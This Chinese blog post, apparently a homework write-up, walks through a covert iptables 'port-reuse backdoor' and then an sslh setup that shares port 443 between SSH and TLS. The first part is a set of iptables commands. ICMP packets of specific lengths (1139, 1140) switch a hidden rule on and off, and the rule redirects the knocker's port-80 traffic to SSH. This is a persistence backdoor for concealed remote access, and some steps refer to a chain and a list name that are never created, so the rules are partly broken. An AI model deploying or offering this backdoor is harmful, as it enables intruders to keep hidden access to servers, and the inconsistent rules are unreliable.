iptables端口复用后门+sslh(作业)-爱代码爱编程
利用ICMP充当开关的端口复用
1.创建端口复用链
1 iptables -t nat -N root
2.添加端口复用规则到复用链内部,将流量转发至 22 端口
2 iptables -t nat -A root -p tcp -j REDIRECT --to-port 22
3.创建开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到名字为letmein的列表中
3 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
4.创建关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
4 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
5.如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
5 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
6.如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到root链进行处理,有效时间为 3600 秒
6 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name oupeng --rsource -j root
SSLH
1.先安装sslh
2.配置nginx服务器
找到server模块
然后配置
listen 127.0.0.1:443 ssl;
3.配置sslh
编辑 SSLH 配置文件:将Run=no 改成 Run=yes
然后允许监听443端口
DAEMON_OPTS=“–user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid”
4.保存并关闭文件
sudo systemctl enable sslh
sudo systemctl start sslh